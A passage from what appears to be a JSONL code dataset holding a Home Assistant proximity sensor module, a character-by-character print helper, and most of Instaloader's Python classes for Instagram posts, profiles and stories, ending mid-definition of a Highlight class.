ProxyProximity_advertisement.vendor,\n ),\n)\n\n\nasync def async_setup_entry(\n hass: HomeAssistant, entry: ConfigEntry, async_add_entities: AddEntitiesCallback\n) -> None:\n \"\"\"Set up sensors for ProxyProximity Tracker component.\"\"\"\n coordinator: ProxyProximityCoordinator = hass.data[DOMAIN]\n\n @callback\n def _async_device_new(\n unique_id: str,\n identifier: str,\n ProxyProximity_advertisement: ProxyProximityAdvertisement,\n ) -> None:\n \"\"\"Signal a new device.\"\"\"\n async_add_entities(\n ProxyProximitySensorEntity(\n coordinator,\n description,\n identifier,\n unique_id,\n ProxyProximity_advertisement,\n )\n for description in SENSOR_DESCRIPTIONS\n )\n\n entry.async_on_unload(\n async_dispatcher_connect(hass, SIGNAL_ProxyProximity_DEVICE_NEW, _async_device_new)\n )\n\n\nclass ProxyProximitySensorEntity(ProxyProximityEntity, SensorEntity):\n \"\"\"An ProxyProximity sensor entity.\"\"\"\n\n entity_description: ProxyProximitySensorEntityDescription\n\n def __init__(\n self,\n coordinator: ProxyProximityCoordinator,\n description: ProxyProximitySensorEntityDescription,\n identifier: str,\n device_unique_id: str,\n ProxyProximity_advertisement: ProxyProximityAdvertisement,\n ) -> None:\n \"\"\"Initialize an ProxyProximity sensor entity.\"\"\"\n super().__init__(\n coordinator, identifier, device_unique_id, ProxyProximity_advertisement\n )\n self._attr_unique_id = f\"{device_unique_id}_{description.key}\"\n self.entity_description = description\n\n @callback\n def _async_seen(\n self,\n ProxyProximity_advertisement: ProxyProximityAdvertisement,\n ) -> None:\n \"\"\"Update state.\"\"\"\n self._attr_available = True\n self._ProxyProximity_advertisement = ProxyProximity_advertisement\n self.async_write_ha_state()\n\n @callback\n def _async_unavailable(self) -> None:\n \"\"\"Update state.\"\"\"\n self._attr_available = False\n self.async_write_ha_state()\n\n @property\n def native_value(self) -> str | int | None:\n \"\"\"Return the state of the sensor.\"\"\"\n return self.entity_description.value_fn(self._ProxyProximity_advertisement)\n","repo_name":"ProxyProximity/ProxyProximity","sub_path":"custom_components/ProxyProximity/sensor.py","file_name":"sensor.py","file_ext":"py","file_size_in_byte":4958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"39044020450","text":"from sys import stdout\nfrom time import sleep\n\ndef print_message(message, end='\\n'):\n character_list = list(message) if (type(message)==str) else []\n for character in character_list:\n print(character, end='')\n stdout.flush()\n sleep(0.025)\n print('', end=end)","repo_name":"mathdwarf/OriginalGameProject","sub_path":"game_01/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3611130541","text":"import json\nimport lzma\nimport re\nfrom base64 import b64decode, b64encode\nfrom collections import namedtuple\nfrom datetime import datetime\nfrom typing import Any, Dict, Iterator, List, Optional, Union\n\nfrom . import __version__\nfrom .exceptions import *\nfrom .instaloadercontext import InstaloaderContext\n\n\nPostSidecarNode = namedtuple('PostSidecarNode', ['is_video', 'display_url', 'video_url'])\nPostSidecarNode.__doc__ = \"Item of a Sidecar Post.\"\nPostSidecarNode.is_video.__doc__ = \"Whether this node is a video.\"\nPostSidecarNode.display_url.__doc__ = \"URL of image or video thumbnail.\"\nPostSidecarNode.video_url.__doc__ = \"URL of video or None.\"\n\nPostComment = namedtuple('PostComment', ['id', 'created_at_utc', 'text', 'owner'])\nPostComment.id.__doc__ = \"ID number of comment.\"\nPostComment.created_at_utc.__doc__ = \":class:`~datetime.datetime` when comment was created (UTC).\"\nPostComment.text.__doc__ = \"Comment text.\"\nPostComment.owner.__doc__ = \"Owner :class:`Profile` of the comment.\"\n\nPostLocation = namedtuple('PostLocation', ['id', 'name', 'slug', 'has_public_page', 'lat', 'lng'])\nPostLocation.id.__doc__ = \"ID number of location.\"\nPostLocation.name.__doc__ = \"Location name.\"\nPostLocation.slug.__doc__ = \"URL friendly variant of location name.\"\nPostLocation.has_public_page.__doc__ = \"Whether location has a public page.\"\nPostLocation.lat.__doc__ = \"Latitude (:class:`float`).\"\nPostLocation.lng.__doc__ = \"Longitude (:class:`float`).\"\n\n\nclass Post:\n \"\"\"\n Structure containing information about an Instagram post.\n\n Created by methods :meth:`Profile.get_posts`, :meth:`Instaloader.get_hashtag_posts`,\n :meth:`Instaloader.get_feed_posts` and :meth:`Profile.get_saved_posts`, which return iterators of Posts::\n\n L = Instaloader()\n for post in L.get_hashtag_posts(HASHTAG):\n L.download_post(post, target='#'+HASHTAG)\n\n Might also be created with::\n\n post = Post.from_shortcode(L.context, SHORTCODE)\n\n This class unifies access to the properties associated with a post. It implements == and is\n hashable.\n\n :param context: :attr:`Instaloader.context` used for additional queries if neccessary..\n :param node: Node structure, as returned by Instagram.\n :param owner_profile: The Profile of the owner, if already known at creation.\n \"\"\"\n\n def __init__(self, context: InstaloaderContext, node: Dict[str, Any],\n owner_profile: Optional['Profile'] = None):\n assert 'shortcode' in node or 'code' in node\n\n self._context = context\n self._node = node\n self._owner_profile = owner_profile\n self._full_metadata_dict = None\n self._rhx_gis_str = None\n self._location = None\n\n @classmethod\n def from_shortcode(cls, context: InstaloaderContext, shortcode: str):\n \"\"\"Create a post object from a given shortcode\"\"\"\n # pylint:disable=protected-access\n post = cls(context, {'shortcode': shortcode})\n post._node = post._full_metadata\n return post\n\n @classmethod\n def from_mediaid(cls, context: InstaloaderContext, mediaid: int):\n \"\"\"Create a post object from a given mediaid\"\"\"\n return cls.from_shortcode(context, Post.mediaid_to_shortcode(mediaid))\n\n @staticmethod\n def shortcode_to_mediaid(code: str) -> int:\n if len(code) > 11:\n raise InvalidArgumentException(\"Wrong shortcode \\\"{0}\\\", unable to convert to mediaid.\".format(code))\n code = 'A' * (12 - len(code)) + code\n return int.from_bytes(b64decode(code.encode(), b'-_'), 'big')\n\n @staticmethod\n def mediaid_to_shortcode(mediaid: int) -> str:\n if mediaid.bit_length() > 64:\n raise InvalidArgumentException(\"Wrong mediaid {0}, unable to convert to shortcode\".format(str(mediaid)))\n return b64encode(mediaid.to_bytes(9, 'big'), b'-_').decode().replace('A', ' ').lstrip().replace(' ', 'A')\n\n def _asdict(self):\n node = self._node\n if self._full_metadata_dict:\n node.update(self._full_metadata_dict)\n if self._owner_profile:\n node['owner'] = self.owner_profile._asdict()\n if self._location:\n node['location'] = self._location._asdict()\n return node\n\n @property\n def shortcode(self) -> str:\n \"\"\"Media shortcode. URL of the post is instagram.com/p//.\"\"\"\n return self._node['shortcode'] if 'shortcode' in self._node else self._node['code']\n\n @property\n def mediaid(self) -> int:\n \"\"\"The mediaid is a decimal representation of the media shortcode.\"\"\"\n return int(self._node['id'])\n\n def __repr__(self):\n return ''.format(self.shortcode)\n\n def __eq__(self, o: object) -> bool:\n if isinstance(o, Post):\n return self.shortcode == o.shortcode\n return NotImplemented\n\n def __hash__(self) -> int:\n return hash(self.shortcode)\n\n def _obtain_metadata(self):\n if not self._full_metadata_dict:\n pic_json = self._context.get_json(\"p/{0}/\".format(self.shortcode), params={})\n self._full_metadata_dict = pic_json['entry_data']['PostPage'][0]['graphql']['shortcode_media']\n self._rhx_gis_str = pic_json['rhx_gis']\n if self.shortcode != self._full_metadata_dict['shortcode']:\n self._node.update(self._full_metadata_dict)\n raise PostChangedException\n\n @property\n def _full_metadata(self) -> Dict[str, Any]:\n self._obtain_metadata()\n return self._full_metadata_dict\n\n @property\n def _rhx_gis(self) -> str:\n self._obtain_metadata()\n return self._rhx_gis_str\n\n def _field(self, *keys) -> Any:\n \"\"\"Lookups given fields in _node, and if not found in _full_metadata. Raises KeyError if not found anywhere.\"\"\"\n try:\n d = self._node\n for key in keys:\n d = d[key]\n return d\n except KeyError:\n d = self._full_metadata\n for key in keys:\n d = d[key]\n return d\n\n @property\n def owner_profile(self) -> 'Profile':\n \"\"\":class:`Profile` instance of the Post's owner.\"\"\"\n if not self._owner_profile:\n if 'username' in self._node['owner']:\n owner_struct = self._node['owner']\n else:\n # Sometimes, the 'owner' structure does not contain the username, only the user's ID. In that case,\n # this call triggers downloading of the complete Post metadata struct, where the owner username\n # is contained.\n # Note that we cannot use Profile.from_id() here since that would lead us into a recursion.\n owner_struct = self._full_metadata['owner']\n self._owner_profile = Profile(self._context, owner_struct)\n return self._owner_profile\n\n @property\n def owner_username(self) -> str:\n \"\"\"The Post's lowercase owner name.\"\"\"\n return self.owner_profile.username\n\n @property\n def owner_id(self) -> int:\n \"\"\"The ID of the Post's owner.\"\"\"\n return self.owner_profile.userid\n\n @property\n def date_local(self) -> datetime:\n \"\"\"Timestamp when the post was created (local time zone).\"\"\"\n return datetime.fromtimestamp(self._node[\"date\"] if \"date\" in self._node else self._node[\"taken_at_timestamp\"])\n\n @property\n def date_utc(self) -> datetime:\n \"\"\"Timestamp when the post was created (UTC).\"\"\"\n return datetime.utcfromtimestamp(self._node[\"date\"] if \"date\" in self._node else self._node[\"taken_at_timestamp\"])\n\n @property\n def date(self) -> datetime:\n \"\"\"Synonym to :attr:`~Post.date_utc`\"\"\"\n return self.date_utc\n\n @property\n def profile(self) -> str:\n \"\"\"Synonym to :attr:`~Post.owner_username`\"\"\"\n return self.owner_username\n\n @property\n def url(self) -> str:\n \"\"\"URL of the picture / video thumbnail of the post\"\"\"\n return self._node[\"display_url\"] if \"display_url\" in self._node else self._node[\"display_src\"]\n\n @property\n def typename(self) -> str:\n \"\"\"Type of post, GraphImage, GraphVideo or GraphSidecar\"\"\"\n return self._field('__typename')\n\n def get_sidecar_nodes(self) -> Iterator[PostSidecarNode]:\n \"\"\"Sidecar nodes of a Post with typename==GraphSidecar.\"\"\"\n if self.typename == 'GraphSidecar':\n for edge in self._field('edge_sidecar_to_children', 'edges'):\n node = edge['node']\n is_video = node['is_video']\n yield PostSidecarNode(is_video=is_video, display_url=node['display_url'],\n video_url=node['video_url'] if is_video else None)\n\n @property\n def caption(self) -> Optional[str]:\n \"\"\"Caption.\"\"\"\n if \"edge_media_to_caption\" in self._node and self._node[\"edge_media_to_caption\"][\"edges\"]:\n return self._node[\"edge_media_to_caption\"][\"edges\"][0][\"node\"][\"text\"]\n elif \"caption\" in self._node:\n return self._node[\"caption\"]\n\n @property\n def caption_hashtags(self) -> List[str]:\n \"\"\"List of all lowercased hashtags (without preceeding #) that occur in the Post's caption.\"\"\"\n if not self.caption:\n return []\n # This regular expression is from jStassen, adjusted to use Python's \\w to support Unicode\n # http://blog.jstassen.com/2016/03/code-regex-for-instagram-username-and-hashtags/\n hashtag_regex = re.compile(r\"(?:#)(\\w(?:(?:\\w|(?:\\.(?!\\.))){0,28}(?:\\w))?)\")\n return re.findall(hashtag_regex, self.caption.lower())\n\n @property\n def caption_mentions(self) -> List[str]:\n \"\"\"List of all lowercased profiles that are mentioned in the Post's caption, without preceeding @.\"\"\"\n if not self.caption:\n return []\n # This regular expression is from jStassen, adjusted to use Python's \\w to support Unicode\n # http://blog.jstassen.com/2016/03/code-regex-for-instagram-username-and-hashtags/\n mention_regex = re.compile(r\"(?:@)(\\w(?:(?:\\w|(?:\\.(?!\\.))){0,28}(?:\\w))?)\")\n return re.findall(mention_regex, self.caption.lower())\n\n @property\n def tagged_users(self) -> List[str]:\n \"\"\"List of all lowercased users that are tagged in the Post.\"\"\"\n try:\n return [edge['node']['user']['username'].lower() for edge in self._field('edge_media_to_tagged_user',\n 'edges')]\n except KeyError:\n return []\n\n @property\n def is_video(self) -> bool:\n \"\"\"True if the Post is a video.\"\"\"\n return self._node['is_video']\n\n @property\n def video_url(self) -> Optional[str]:\n \"\"\"URL of the video, or None.\"\"\"\n if self.is_video:\n return self._field('video_url')\n\n @property\n def viewer_has_liked(self) -> Optional[bool]:\n \"\"\"Whether the viewer has liked the post, or None if not logged in.\"\"\"\n if not self._context.is_logged_in:\n return None\n if 'likes' in self._node and 'viewer_has_liked' in self._node['likes']:\n return self._node['likes']['viewer_has_liked']\n return self._field('viewer_has_liked')\n\n @property\n def likes(self) -> int:\n \"\"\"Likes count\"\"\"\n return self._field('edge_media_preview_like', 'count')\n\n @property\n def comments(self) -> int:\n \"\"\"Comment count\"\"\"\n return self._field('edge_media_to_comment', 'count')\n\n def get_comments(self) -> Iterator[PostComment]:\n \"\"\"Iterate over all comments of the post.\n\n Each comment is represented by a PostComment namedtuple with fields text (string), created_at (datetime),\n id (int) and owner (:class:`Profile`).\n \"\"\"\n def _postcomment(node):\n return PostComment(id=int(node['id']),\n created_at_utc=datetime.utcfromtimestamp(node['created_at']),\n text=node['text'],\n owner=Profile(self._context, node['owner']))\n if self.comments == 0:\n # Avoid doing additional requests if there are no comments\n return\n comment_edges = self._field('edge_media_to_comment', 'edges')\n if self.comments == len(comment_edges):\n # If the Post's metadata already contains all comments, don't do GraphQL requests to obtain them\n yield from (_postcomment(comment['node']) for comment in comment_edges)\n return\n yield from (_postcomment(node) for node in\n self._context.graphql_node_list(\"33ba35852cb50da46f5b5e889df7d159\",\n {'shortcode': self.shortcode},\n 'https://www.instagram.com/p/' + self.shortcode + '/',\n lambda d: d['data']['shortcode_media']['edge_media_to_comment'],\n self._rhx_gis))\n\n def get_likes(self) -> Iterator['Profile']:\n \"\"\"Iterate over all likes of the post. A :class:`Profile` instance of each likee is yielded.\"\"\"\n if self.likes == 0:\n # Avoid doing additional requests if there are no comments\n return\n likes_edges = self._field('edge_media_preview_like', 'edges')\n if self.likes == len(likes_edges):\n # If the Post's metadata already contains all likes, don't do GraphQL requests to obtain them\n yield from (Profile(self._context, like['node']) for like in likes_edges)\n return\n yield from (Profile(self._context, node) for node in\n self._context.graphql_node_list(\"1cb6ec562846122743b61e492c85999f\", {'shortcode': self.shortcode},\n 'https://www.instagram.com/p/' + self.shortcode + '/',\n lambda d: d['data']['shortcode_media']['edge_liked_by'],\n self._rhx_gis))\n\n @property\n def location(self) -> Optional[PostLocation]:\n \"\"\"If the Post has a location, returns PostLocation namedtuple with fields 'id', 'lat' and 'lng' and 'name'.\"\"\"\n loc = self._field(\"location\")\n if self._location or not loc:\n return self._location\n location_id = int(loc['id'])\n if any(k not in loc for k in ('name', 'slug', 'has_public_page', 'lat', 'lng')):\n loc = self._context.get_json(\"explore/locations/{0}/\".format(location_id),\n params={'__a': 1})['graphql']['location']\n self._location = PostLocation(location_id, loc['name'], loc['slug'], loc['has_public_page'],\n loc['lat'], loc['lng'])\n return self._location\n\n\nclass Profile:\n \"\"\"\n An Instagram Profile.\n\n Provides methods for accessing profile properties, as well as :meth:`Profile.get_posts` and for own profile\n :meth:`Profile.get_saved_posts`.\n\n Get instances with :meth:`Post.owner_profile`, :meth:`StoryItem.owner_profile`, :meth:`Profile.get_followees`,\n :meth:`Profile.get_followers` or::\n\n L = Instaloader()\n profile = Profile.from_username(L.context, USERNAME)\n\n Provides :meth:`Profile.get_posts` and for own profile :meth:`Profile.get_saved_posts` to iterate over associated\n :class:`Post` objects::\n\n for post in profile.get_posts():\n L.download_post(post, target=profile.username)\n\n :meth:`Profile.get_followees` and :meth:`Profile.get_followers`::\n\n print(\"{} follows these profiles:\".format(profile.username))\n for followee in profile.get_followees():\n print(followee.username)\n\n Also, this class implements == and is hashable.\n \"\"\"\n def __init__(self, context: InstaloaderContext, node: Dict[str, Any]):\n assert 'username' in node\n self._context = context\n self._has_public_story = None\n self._node = node\n self._rhx_gis = None\n self._iphone_struct_ = None\n if 'iphone_struct' in node:\n # if loaded from JSON with load_structure_from_file()\n self._iphone_struct_ = node['iphone_struct']\n\n @classmethod\n def from_username(cls, context: InstaloaderContext, username: str):\n \"\"\"Create a Profile instance from a given username, raise exception if it does not exist.\n\n See also :meth:`Instaloader.check_profile_id`.\n\n :param context: :attr:`Instaloader.context`\n :param username: Username\n :raises: :class:`ProfileNotExistsException`\n \"\"\"\n # pylint:disable=protected-access\n profile = cls(context, {'username': username.lower()})\n profile._obtain_metadata() # to raise ProfileNotExistException now in case username is invalid\n return profile\n\n @classmethod\n def from_id(cls, context: InstaloaderContext, profile_id: int):\n \"\"\"Create a Profile instance from a given userid. If possible, use :meth:`Profile.from_username`\n or constructor directly rather than this method, since it requires more requests.\n\n :param context: :attr:`Instaloader.context`\n :param profile_id: userid\n :raises: :class:`ProfileNotExistsException`\n \"\"\"\n if profile_id in context.profile_id_cache:\n return context.profile_id_cache[profile_id]\n data = context.graphql_query('7c16654f22c819fb63d1183034a5162f',\n {'user_id': str(profile_id),\n 'include_chaining': False,\n 'include_reel': True,\n 'include_suggested_users': False,\n 'include_logged_out_extras': False,\n 'include_highlight_reels': False},\n rhx_gis=context.root_rhx_gis)['data']['user']\n if data:\n profile = cls(context, data['reel']['owner'])\n else:\n raise ProfileNotExistsException(\"No profile found, the user may have blocked you (ID: \" +\n str(profile_id) + \").\")\n context.profile_id_cache[profile_id] = profile\n return profile\n\n def _asdict(self):\n json_node = self._node.copy()\n # remove posts\n json_node.pop('edge_media_collections', None)\n json_node.pop('edge_owner_to_timeline_media', None)\n json_node.pop('edge_saved_media', None)\n if self._iphone_struct_:\n json_node['iphone_struct'] = self._iphone_struct_\n return json_node\n\n def _obtain_metadata(self):\n try:\n if not self._rhx_gis:\n metadata = self._context.get_json('{}/'.format(self.username), params={})\n self._node = metadata['entry_data']['ProfilePage'][0]['graphql']['user']\n self._rhx_gis = metadata['rhx_gis']\n except (QueryReturnedNotFoundException, KeyError) as err:\n raise ProfileNotExistsException('Profile {} does not exist.'.format(self.username)) from err\n\n def _metadata(self, *keys) -> Any:\n try:\n d = self._node\n for key in keys:\n d = d[key]\n return d\n except KeyError:\n self._obtain_metadata()\n d = self._node\n for key in keys:\n d = d[key]\n return d\n\n @property\n def _iphone_struct(self) -> Dict[str, Any]:\n if not self._context.is_logged_in:\n raise LoginRequiredException(\"--login required to access iPhone profile info endpoint.\")\n if not self._iphone_struct_:\n data = self._context.get_iphone_json(path='api/v1/users/{}/info/'.format(self.userid), params={})\n self._iphone_struct_ = data['user']\n return self._iphone_struct_\n\n @property\n def userid(self) -> int:\n \"\"\"User ID\"\"\"\n return int(self._metadata('id'))\n\n @property\n def username(self) -> str:\n \"\"\"Profile Name\"\"\"\n return self._metadata('username').lower()\n\n def __repr__(self):\n return ''.format(self.username, self.userid)\n\n def __eq__(self, o: object) -> bool:\n if isinstance(o, Profile):\n return self.userid == o.userid\n return NotImplemented\n\n def __hash__(self) -> int:\n return hash(self.userid)\n\n @property\n def is_private(self) -> bool:\n return self._metadata('is_private')\n\n @property\n def followed_by_viewer(self) -> bool:\n return self._metadata('followed_by_viewer')\n\n @property\n def mediacount(self) -> int:\n return self._metadata('edge_owner_to_timeline_media', 'count')\n\n @property\n def followers(self) -> int:\n return self._metadata('edge_followed_by', 'count')\n\n @property\n def followees(self) -> int:\n return self._metadata('edge_follow', 'count')\n\n @property\n def external_url(self) -> Optional[str]:\n return self._metadata('external_url')\n\n @property\n def biography(self) -> str:\n return self._metadata('biography')\n\n @property\n def blocked_by_viewer(self) -> bool:\n return self._metadata('blocked_by_viewer')\n\n @property\n def follows_viewer(self) -> bool:\n return self._metadata('follows_viewer')\n\n @property\n def full_name(self) -> str:\n return self._metadata('full_name')\n\n @property\n def has_blocked_viewer(self) -> bool:\n return self._metadata('has_blocked_viewer')\n\n @property\n def has_highlight_reels(self) -> bool:\n \"\"\"\n .. deprecated:: 4.0.6\n Always returns `True` since :issue:`153`.\n\n Before broken, this indicated whether the :class:`Profile` had available stories.\n \"\"\"\n return True\n\n @property\n def has_public_story(self) -> bool:\n if not self._has_public_story:\n self._obtain_metadata()\n # query not rate limited if invoked anonymously:\n with self._context.anonymous_copy() as anonymous_context:\n data = anonymous_context.graphql_query('9ca88e465c3f866a76f7adee3871bdd8',\n {'user_id': self.userid, 'include_chaining': False,\n 'include_reel': False, 'include_suggested_users': False,\n 'include_logged_out_extras': True,\n 'include_highlight_reels': False},\n 'https://www.instagram.com/{}/'.format(self.username),\n self._rhx_gis)\n self._has_public_story = data['data']['user']['has_public_story']\n return self._has_public_story\n\n @property\n def has_viewable_story(self) -> bool:\n \"\"\"\n .. deprecated:: 4.0.6\n\n Some stories are private. This property determines if the :class:`Profile`\n has at least one story which can be viewed using the associated :class:`InstaloaderContext`,\n i.e. the viewer has privileges to view it.\n \"\"\"\n return self.has_public_story or self.followed_by_viewer and self.has_highlight_reels\n\n @property\n def has_requested_viewer(self) -> bool:\n return self._metadata('has_requested_viewer')\n\n @property\n def is_verified(self) -> bool:\n return self._metadata('is_verified')\n\n @property\n def requested_by_viewer(self) -> bool:\n return self._metadata('requested_by_viewer')\n\n @property\n def profile_pic_url(self) -> str:\n \"\"\"Return URL of profile picture. If logged in, the HD version is returned, otherwise a lower-quality version.\n\n .. versionadded:: 4.0.3\n\n .. versionchanged:: 4.2.1\n Require being logged in for HD version (as required by Instagram).\"\"\"\n if self._context.is_logged_in:\n try:\n return self._iphone_struct['hd_profile_pic_url_info']['url']\n except (InstaloaderException, KeyError) as err:\n self._context.error('{} Unable to fetch high quality profile pic.'.format(err))\n return self._metadata(\"profile_pic_url_hd\")\n else:\n return self._metadata(\"profile_pic_url_hd\")\n\n def get_profile_pic_url(self) -> str:\n \"\"\".. deprecated:: 4.0.3\n\n\t Use :attr:`profile_pic_url`.\"\"\"\n return self.profile_pic_url\n\n def get_posts(self) -> Iterator[Post]:\n \"\"\"Retrieve all posts from a profile.\"\"\"\n self._obtain_metadata()\n yield from (Post(self._context, node, self) for node in\n self._context.graphql_node_list(\"472f257a40c653c64c666ce877d59d2b\",\n {'id': self.userid},\n 'https://www.instagram.com/{0}/'.format(self.username),\n lambda d: d['data']['user']['edge_owner_to_timeline_media'],\n self._rhx_gis,\n self._metadata('edge_owner_to_timeline_media')))\n\n def get_saved_posts(self) -> Iterator[Post]:\n \"\"\"Get Posts that are marked as saved by the user.\"\"\"\n\n if self.username != self._context.username:\n raise LoginRequiredException(\"--login={} required to get that profile's saved posts.\".format(self.username))\n\n self._obtain_metadata()\n yield from (Post(self._context, node) for node in\n self._context.graphql_node_list(\"f883d95537fbcd400f466f63d42bd8a1\",\n {'id': self.userid},\n 'https://www.instagram.com/{0}/'.format(self.username),\n lambda d: d['data']['user']['edge_saved_media'],\n self._rhx_gis,\n self._metadata('edge_saved_media')))\n\n def get_tagged_posts(self) -> Iterator[Post]:\n \"\"\"Retrieve all posts where a profile is tagged.\n\n .. versionadded:: 4.0.7\"\"\"\n self._obtain_metadata()\n yield from (Post(self._context, node, self if int(node['owner']['id']) == self.userid else None) for node in\n self._context.graphql_node_list(\"e31a871f7301132ceaab56507a66bbb7\",\n {'id': self.userid},\n 'https://www.instagram.com/{0}/'.format(self.username),\n lambda d: d['data']['user']['edge_user_to_photos_of_you'],\n self._rhx_gis))\n\n def get_followers(self) -> Iterator['Profile']:\n \"\"\"\n Retrieve list of followers of given profile.\n To use this, one needs to be logged in and private profiles has to be followed.\n \"\"\"\n if not self._context.is_logged_in:\n raise LoginRequiredException(\"--login required to get a profile's followers.\")\n self._obtain_metadata()\n yield from (Profile(self._context, node) for node in\n self._context.graphql_node_list(\"37479f2b8209594dde7facb0d904896a\",\n {'id': str(self.userid)},\n 'https://www.instagram.com/' + self.username + '/',\n lambda d: d['data']['user']['edge_followed_by'],\n self._rhx_gis))\n\n def get_followees(self) -> Iterator['Profile']:\n \"\"\"\n Retrieve list of followees (followings) of given profile.\n To use this, one needs to be logged in and private profiles has to be followed.\n \"\"\"\n if not self._context.is_logged_in:\n raise LoginRequiredException(\"--login required to get a profile's followees.\")\n self._obtain_metadata()\n yield from (Profile(self._context, node) for node in\n self._context.graphql_node_list(\"58712303d941c6855d4e888c5f0cd22f\",\n {'id': str(self.userid)},\n 'https://www.instagram.com/' + self.username + '/',\n lambda d: d['data']['user']['edge_follow'],\n self._rhx_gis))\n\n\nclass StoryItem:\n \"\"\"\n Structure containing information about a user story item i.e. image or video.\n\n Created by method :meth:`Story.get_items`. This class implements == and is hashable.\n\n :param context: :class:`InstaloaderContext` instance used for additional queries if necessary.\n :param node: Dictionary containing the available information of the story item.\n :param owner_profile: :class:`Profile` instance representing the story owner.\n \"\"\"\n\n def __init__(self, context: InstaloaderContext, node: Dict[str, Any], owner_profile: Optional[Profile] = None):\n self._context = context\n self._node = node\n self._owner_profile = owner_profile\n\n def _asdict(self):\n node = self._node\n if self._owner_profile:\n node['owner'] = self._owner_profile._asdict()\n return node\n\n @property\n def mediaid(self) -> int:\n \"\"\"The mediaid is a decimal representation of the media shortcode.\"\"\"\n return int(self._node['id'])\n\n @property\n def shortcode(self) -> str:\n \"\"\"Convert :attr:`~StoryItem.mediaid` to a shortcode-like string, allowing ``{shortcode}`` to be used with\n :option:`--filename-pattern`.\"\"\"\n return Post.mediaid_to_shortcode(self.mediaid)\n\n def __repr__(self):\n return ''.format(self.mediaid)\n\n def __eq__(self, o: object) -> bool:\n if isinstance(o, StoryItem):\n return self.mediaid == o.mediaid\n return NotImplemented\n\n def __hash__(self) -> int:\n return hash(self.mediaid)\n\n @property\n def owner_profile(self) -> Profile:\n \"\"\":class:`Profile` instance of the story item's owner.\"\"\"\n if not self._owner_profile:\n self._owner_profile = Profile.from_id(self._context, self._node['owner']['id'])\n return self._owner_profile\n\n @property\n def owner_username(self) -> str:\n \"\"\"The StoryItem owner's lowercase name.\"\"\"\n return self.owner_profile.username\n\n @property\n def owner_id(self) -> int:\n \"\"\"The ID of the StoryItem owner.\"\"\"\n return self.owner_profile.userid\n\n @property\n def date_local(self) -> datetime:\n \"\"\"Timestamp when the StoryItem was created (local time zone).\"\"\"\n return datetime.fromtimestamp(self._node['taken_at_timestamp'])\n\n @property\n def date_utc(self) -> datetime:\n \"\"\"Timestamp when the StoryItem was created (UTC).\"\"\"\n return datetime.utcfromtimestamp(self._node['taken_at_timestamp'])\n\n @property\n def date(self) -> datetime:\n \"\"\"Synonym to :attr:`~StoryItem.date_utc`\"\"\"\n return self.date_utc\n\n @property\n def profile(self) -> str:\n \"\"\"Synonym to :attr:`~StoryItem.owner_username`\"\"\"\n return self.owner_username\n\n @property\n def expiring_local(self) -> datetime:\n \"\"\"Timestamp when the StoryItem will get unavailable (local time zone).\"\"\"\n return datetime.fromtimestamp(self._node['expiring_at_timestamp'])\n\n @property\n def expiring_utc(self) -> datetime:\n \"\"\"Timestamp when the StoryItem will get unavailable (UTC).\"\"\"\n return datetime.utcfromtimestamp(self._node['expiring_at_timestamp'])\n\n @property\n def url(self) -> str:\n \"\"\"URL of the picture / video thumbnail of the StoryItem\"\"\"\n return self._node['display_resources'][-1]['src']\n\n @property\n def typename(self) -> str:\n \"\"\"Type of post, GraphStoryImage or GraphStoryVideo\"\"\"\n return self._node['__typename']\n\n @property\n def is_video(self) -> bool:\n \"\"\"True if the StoryItem is a video.\"\"\"\n return self._node['is_video']\n\n @property\n def video_url(self) -> Optional[str]:\n \"\"\"URL of the video, or None.\"\"\"\n if self.is_video:\n return self._node['video_resources'][-1]['src']\n\n\nclass Story:\n \"\"\"\n Structure representing a user story with its associated items.\n\n Provides methods for accessing story properties, as well as :meth:`Story.get_items` to request associated\n :class:`StoryItem` nodes. Stories are returned by :meth:`Instaloader.get_stories`.\n\n With a logged-in :class:`Instaloader` instance `L`, you may download all your visible user stories with::\n\n for story in L.get_stories():\n # story is a Story object\n for item in story.get_items():\n # item is a StoryItem object\n L.download_storyitem(item, ':stories')\n\n This class implements == and is hashable.\n\n :param context: :class:`InstaloaderContext` instance used for additional queries if necessary.\n :param node: Dictionary containing the available information of the story as returned by Instagram.\n \"\"\"\n\n def __init__(self, context: InstaloaderContext, node: Dict[str, Any]):\n self._context = context\n self._node = node\n self._unique_id = None\n self._owner_profile = None\n\n def __repr__(self):\n return ''.format(self.owner_username, self.latest_media_utc)\n\n def __eq__(self, o: object) -> bool:\n if isinstance(o, Story):\n return self.unique_id == o.unique_id\n return NotImplemented\n\n def __hash__(self) -> int:\n return hash(self.unique_id)\n\n @property\n def unique_id(self) -> str:\n \"\"\"\n This ID only equals amongst :class:`Story` instances which have the same owner and the same set of\n :class:`StoryItem`. For all other :class:`Story` instances this ID is different.\n \"\"\"\n if not self._unique_id:\n id_list = [item.mediaid for item in self.get_items()]\n id_list.sort()\n self._unique_id = str().join([str(self.owner_id)] + list(map(str, id_list)))\n return self._unique_id\n\n @property\n def last_seen_local(self) -> Optional[datetime]:\n \"\"\"Timestamp when the story has last been watched or None (local time zone).\"\"\"\n if self._node['seen']:\n return datetime.fromtimestamp(self._node['seen'])\n\n @property\n def last_seen_utc(self) -> Optional[datetime]:\n \"\"\"Timestamp when the story has last been watched or None (UTC).\"\"\"\n if self._node['seen']:\n return datetime.utcfromtimestamp(self._node['seen'])\n\n @property\n def latest_media_local(self) -> datetime:\n \"\"\"Timestamp when the last item of the story was created (local time zone).\"\"\"\n return datetime.fromtimestamp(self._node['latest_reel_media'])\n\n @property\n def latest_media_utc(self) -> datetime:\n \"\"\"Timestamp when the last item of the story was created (UTC).\"\"\"\n return datetime.utcfromtimestamp(self._node['latest_reel_media'])\n\n @property\n def itemcount(self) -> int:\n \"\"\"Count of items associated with the :class:`Story` instance.\"\"\"\n return len(self._node['items'])\n\n @property\n def owner_profile(self) -> Profile:\n \"\"\":class:`Profile` instance of the story owner.\"\"\"\n if not self._owner_profile:\n self._owner_profile = Profile(self._context, self._node['user'])\n return self._owner_profile\n\n @property\n def owner_username(self) -> str:\n \"\"\"The story owner's lowercase username.\"\"\"\n return self.owner_profile.username\n\n @property\n def owner_id(self) -> int:\n \"\"\"The story owner's ID.\"\"\"\n return self.owner_profile.userid\n\n def get_items(self) -> Iterator[StoryItem]:\n \"\"\"Retrieve all items from a story.\"\"\"\n yield from (StoryItem(self._context, item, self.owner_profile) for item in reversed(self._node['items']))\n\n\nclass Highlight(Story):\n \"\"\"\n Structure representing a user's highlight with 